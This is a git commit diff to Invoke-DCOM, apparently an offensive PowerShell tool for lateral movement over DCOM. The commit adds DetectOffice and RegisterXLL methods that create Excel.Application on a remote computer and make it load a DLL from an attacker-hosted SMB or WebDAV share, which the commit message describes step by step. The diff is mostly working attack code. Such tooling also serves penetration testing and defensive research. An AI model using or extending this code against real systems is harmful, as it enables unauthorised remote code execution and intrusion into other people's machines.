Added Excel.Application methods, originally discovered by @RyHanson. Use DetectOffice to detect the Office bitness, and then host the appropriate DLL on a SMB/WebDAV share. Then use RegisterXLL with the path to your DLL and it will be loaded by Excel on the target system.

This commit is contained in:
Richard Warren
2017-07-22 20:25:35 +01:00
parent 99355080d2
commit 14cdce7475
+21 -2
View File
@@ -50,7 +50,8 @@ function Invoke-DCOM {
$ComputerName,
[Parameter(Mandatory = $true, Position = 1)]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
"DetectOffice","RegisterXLL")]
[String]
$Method = "MMC20",
@@ -60,7 +61,12 @@ function Invoke-DCOM {
[Parameter(Mandatory = $false, Position = 3)]
[string]
$Command= "calc.exe"
$Command= "calc.exe",
[Parameter(Mandatory = $false, Position = 4)]
[string]
$DllPath,
)
Begin {
@@ -163,6 +169,19 @@ function Invoke-DCOM {
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Document.Application.ServiceStart("$ServiceName")
}
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
}
End {